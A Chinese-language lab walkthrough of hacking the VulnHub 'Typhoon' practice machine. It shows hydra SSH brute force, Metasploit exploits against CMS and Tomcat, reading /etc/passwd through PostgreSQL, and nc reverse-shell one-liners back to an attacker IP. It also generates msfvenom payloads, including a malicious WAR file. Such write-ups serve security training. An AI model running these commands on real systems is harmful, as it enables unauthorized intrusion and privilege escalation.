kali渗透综合靶机(九)--Typhoon靶机

靶机下载地址:https://www.vulnhub.com/entry/typhoon-102,267/

一、主机发现

1.netdiscover -i eth0 -r 192.168.10.0/24,进过分析,确定192.168.10.162是目标靶机

  

二、端口扫描

1. masscan --rate=10000 -p0-65535 192.168.10.162

  

三、端口服务识别

1. nmap -sV -T4 -O -p 110,139,631,21,46818,56669,143,53,5432,60954,8080,27017,22,25,3306,445,54180,995,6379,111,2049,37214,80,993 192.168.10.162

  

或nmap -sV -p- -A 192.168.10.162

  

  

  

四、漏洞查找与利用

21端口(ftp)

nmap扫描可以匿名访问

  

浏览器访问,发现什么都没有

  

22端口(ssh)

发现ssh的版本是OpenSSH 6.6.1p1,存在用户名枚举漏洞,使用msf中的ssh枚举脚本(auxiliary/scanner/ssh/ssh_enumusers)

使用cewl收集页面可能是用户的信息,并添加几个常用的用户名,制作一个用户名字典

  

使用枚举用户脚本枚举用户

python 40136.py 192.168.10.162 -U user.txt

枚举出来用户名为vulnerablevm,www,admin,root,admin123

  

使用hydra破解密码

hydra -l admin -P /root/rockyou.txt ssh://192.168.10.162 -t 6,下图成功破解admin账户的密码metallica

  

尝试用admin账户ssh登录目标,登录成功

  

开始提权,提权方式与下面的提权方式一样

25端口(smtp) 

发现开放25端口,版本为Postfix smtpd

使用smtp-user-enum 枚举用户名

smtp-user-enum -M VRFY -U user.txt -t 192.168.10.162,枚举出用户名admin

  

53端口(DNS  ISC BIND9.9.5-3)

查看是否存在漏洞,发现dns版本存在拒绝服务漏洞

  

80端口(http Apache httpd 2.4.7)

1.扫描网站后台目录

  

1.1发现http://192.168.10.162/cms,尝试弱口令,失败

  

1.2漏洞库查找是否有对应的漏洞

  

1.3在kali中打开msfconsole,并使用了以下exp

  

1.4成功获得shell

  

1.5然后就是提权,提权方式有配置不当提权和内核提权

Drupal cms

2.1发现192.168.10.162/drupal/

  

2.2漏洞库查找是否有对应的漏洞

  

2.3在kali中打开msfconsole,并使用了以下exp

  

2.4设置参数

  

2.5开始攻击,成功获得shell

  

2.6接下开便是提权了,提权方式和之前的一样

1.3发现http://192.168.10.162/mongoadmin/

  

  

1.3.1发现是mondo的web管理页面,点击change database,出现如下

  

1.3.2点击creds,发现账户密码

  

1.3.3尝试用ssh登录,成功登陆

  

1.3.4查看系统版本以及内核版本

  

1.3.5在kali查看是否有对应的漏洞

  

1.3.6下载、编译、提权

  

1.3.7利用sudo提权,前提是已经获得当前普通用户的密码,并且当前用户属于sudo组,下图成功获得管理员权限

  

445端口

发现目标开放了445端口,使用enum4linux枚举目标共享信息

  

发现允许空账户、空密码登录,共享文件typhoon

  

远程挂载

mount -t cifs -o username='',password='' //192.168.10.162/typhoon /mnt

  

8080(http Apache Tomcat/Coyote JSP engine 1.1)

发现开放了8080,浏览器访问http://192.168.10.162:8080

  

dirb扫描http://192.168.10.162:8080

  

发现http://192.168.10.162:8080/manager/,提示需要输入密码

使用msf auxiliary/scanner/http/tomcat_mgr_login 破解tomcat用户名密码

  

成功获得tomcat用户名密码

  

使用获得的用户名登录,发现tomcat 的版本是Version 7.0.52

  

使用metasploit的一个模块tomcat_mgr_upload来尝试进行登录,利用成功,获得meterpreter会话

  

  

输入shell,发现当前shell不是交互式的shell,重新打开一个交互式的shell

python -c 'import pty;pty.spawn("/bin/bash")'

  

开始提权

1.1查看内核版本以及系统版本

  

1.2利用系统版本的漏洞,进行本地提权

  

2.利用配置不当进行提权

  

2.2 我们需要使用Msfvenom创建一个bash代码

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.10.151 lport=9999 R

2.3之后将上面生成的恶意代码在目标靶机系统中添加到script.sh文件

echo "mkfifo /tmp/ruoljay; nc 192.168.10.151 9999 0</tmp/ ruoljay | /bin/sh >/tmp/ ruoljay 2>&1; rm /tmp/ ruoljay " > script.sh

  

2.4在攻击端开启监听,目标端执行脚本,下图可以看到直接获得管理员权限

  

3.1用低权限用户将构造的命令写入script.sh,令文件调用以root身份运行的/bin/sh,然后反弹shell,就可以获得root权限了

Echo “rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.151 8888 >/tmp/f;”>script.sh

   

3.2在kali攻击端监听,获得管理员权限

  

Tomcat的后台管理获取shell

http://192.168.10.162:8080/manager/html

1.msfvenom来生WAR文件

msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.10.151 lport=5555 -f war -o evil.war

  

2.使用7z l evil.war 查看evulll.war具体内容

  

3.上传evil.war文件

  

4.攻击端监听,浏览器访问上传的恶意Web应用程序

http://192.168.10.162:8080/evil/wjsdgaavcuyf.jsp

  

5.这次攻击端获得反弹shell

  

6.接下来便是提权,方式和之前的一样。

5432(PostgreSQL)

1.使用auxiliary/scanner/postgres/postgres_login,尝试爆破PostgreSQL数据库用户名密码

  

2.成功爆破出来PostgreSQL用户名以及密码

  

3.登录数据库

psql -h 192.168.10.162 -U postgres

  

4.列下目录

  

5. 读取权限允许的文件

select pg_read_file('postgresql.conf',0,1000);

  

6.建表,并使用copy从文件写入数据到表

DROP TABLE if EXISTS MrLee;CREATE TABLE MrLee(t TEXT);COPY MrLee FROM '/etc/passwd';select * from MrLee limit 1 offset 0;

成功读取到了/etc/passwd第一行

  

7.直接读出所有数据

SELECT * FROM MrLee;

  

8.利用数据库写文件

INSERT INTO MrLee(t) VALUES('hello,MrLee');

COPY MrLee(t) TO '/tmp/MrLee';

  

SELECT * FROM MrLee;

显示里面有一句hello,MrLee,成功写入文件,并成功读取到源内容

  

9.写入木马

9.1创建OID,清空内容

SELECT lo_create(9999);

delete from pg_largeobject where loid=9999;

//创建OID,清空内容

  

9.2接下来就是写入木马了,使用hex

  

insert into pg_largeobject (loid,pageno,data) values(9999, 0, decode('.....', 'hex'));

  

10.菜刀连接

  

11.接下来就是提权了

 

总结:

1.信息收集、目录扫描、漏洞分析与利用

2.getshell方法

  1.ssh爆破

  2.lotus cms漏洞利用

  3.Drupal cms漏洞利用

  4.mongoadmin 数据库管理web页面查看用户名、密码

  5.tomcat tomcat_mgr_upload漏洞

  6.PostgreSQL未授权访问 

3.提权方法

  1.sudo提权

  2.内核版本提权

  3.利用配置不当进行提权

  

  

kali渗透综合靶机(九)--Typhoon靶机的更多相关文章

  1. kali渗透综合靶机(一)--Lazysysadmin靶机

    kali渗透综合靶机(一)--Lazysysadmin靶机 Lazysysadmin靶机百度云下载链接:https://pan.baidu.com/s/1pTg38wf3oWQlKNUaT-s7qQ提 ...

  2. kali渗透综合靶机(十八)--FourAndSix2靶机

    kali渗透综合靶机(十八)--FourAndSix2靶机 靶机下载地址:https://download.vulnhub.com/fourandsix/FourAndSix2.ova 一.主机发现 ...

  3. kali渗透综合靶机(十七)--HackInOS靶机

    kali渗透综合靶机(十七)--HackInOS靶机 靶机下载地址:https://www.vulnhub.com/hackinos/HackInOS.ova 一.主机发现 1.netdiscover ...

  4. kali渗透综合靶机(十六)--evilscience靶机

    kali渗透综合靶机(十六)--evilscience靶机 一.主机发现 1.netdiscover -i eth0 -r 192.168.10.0/24 二.端口扫描 1. masscan --ra ...

  5. kali渗透综合靶机(十五)--Breach-1.0靶机

    kali渗透综合靶机(十五)--Breach-1.0靶机 靶机下载地址:https://download.vulnhub.com/breach/Breach-1.0.zip 一.主机发现 1.netd ...

  6. kali渗透综合靶机(十四)--g0rmint靶机

    kali渗透综合靶机(十四)--g0rmint靶机 靶机下载地址:https://www.vulnhub.com/entry/g0rmint-1,214/ 一.主机发现 1.netdiscover - ...

  7. kali渗透综合靶机(十三)--Dina 1.0靶机

    kali渗透综合靶机(十三)--Dina 1.0靶机 一.主机发现 1.netdiscover -i eth0 -r 192.168.10.0/24 二.端口扫描 1. masscan --rate= ...

  8. kali渗透综合靶机(十二)--SickOs1.2靶机

    kali渗透综合靶机(十二)--SickOs1.2靶机 靶机下载地址:https://www.vulnhub.com/entry/sickos-12,144/ 一.主机发现 1.netdiscover ...

  9. kali渗透综合靶机(十一)--BSides-Vancouver靶机

    kali渗透综合靶机(十一)--BSides-Vancouver靶机 靶机下载地址:https://pan.baidu.com/s/1s2ajnWHNVS_NZfnAjGpEvw 一.主机发现 1.n ...

随机推荐

  1. java高并发系列 - 第11天:线程中断的几种方式

    java高并发系列第11篇文章. 本文主要探讨一下中断线程的几种方式. 通过一个变量控制线程中断 代码: package com.itsoku.chat05; import java.util.con ...

  2. HTTP 状态码及含义

    来自 Koa.js 官方文档中关于设置请求响应的部分 response.status=,列出了从 1xx ~ 5xx HTTP 状态码及含义,现摘录如下: 100 "continue&quo ...

  3. 使用ADO.NET实体数据模型

    前景:要操作的数据表必须添加主键(方式:进入数据库-->数据表名-->设计-->列名右键-->设置主键) 可在服务器资源管理器中查看是否设置了主键(主键会有一把钥匙的图样) 1 ...

  4. go-爬虫-百度贴吧(并发版)

    爬取百度贴吧的网页 非并发版 package main import ( "fmt" "io" "net/http" "os&qu ...

  5. python中自带的三个装饰器

    说到装饰器,就不得不说python自带的三个装饰器: 1.@property 将某函数,做为属性使用 @property 修饰,就是将方法,变成一个属性来使用. class A(): @propert ...

  6. C# Spire简单实现导出word(去水印)

    今天老姐打电话,说:下个月一号要换到其他岗位上,到时需要对word操作,小弟我随口答应,这个简单,我给你开发一款小程序,你直接在我程序上录入一些数据,我给你导出到word中. 利用中午空闲时间,百度了 ...

  7. querySelectorAll和getElementsByClassName获取元素的区别

    querySelectorAll()方法是HTML5新增的方法,通过传入一个css选择符,返回所有匹配的元素而不仅仅是一个元素.这个方法返回的是一个NodeList的实例.那么它和通过getEleme ...

  8. [转]English - 开口说话工具箱: 27个高频词单词

    本文转自:https://blog.csdn.net/weixin_34247032/article/details/87125465 英语初学者注意力不要放在语法上, 首先要懂得如何让自己开口说英语 ...

  9. 设备树(device tree)学习笔记【转】

    转自:https://www.cnblogs.com/pengdonglin137/p/4495056.html 阅读目录(Content) 1.反编译设备树 2.分析工具fdtdump 3.Linu ...

  10. Linux:使用LVM进行磁盘管理

    LVM的概念 LVM 可以实现对磁盘的动态管理,在磁盘不用重新分区的情况下动态调整文件系统的大 小,利用 LVM 管理的文件系统可以跨越磁盘. "/boot"分区用于存放系统引导文 ...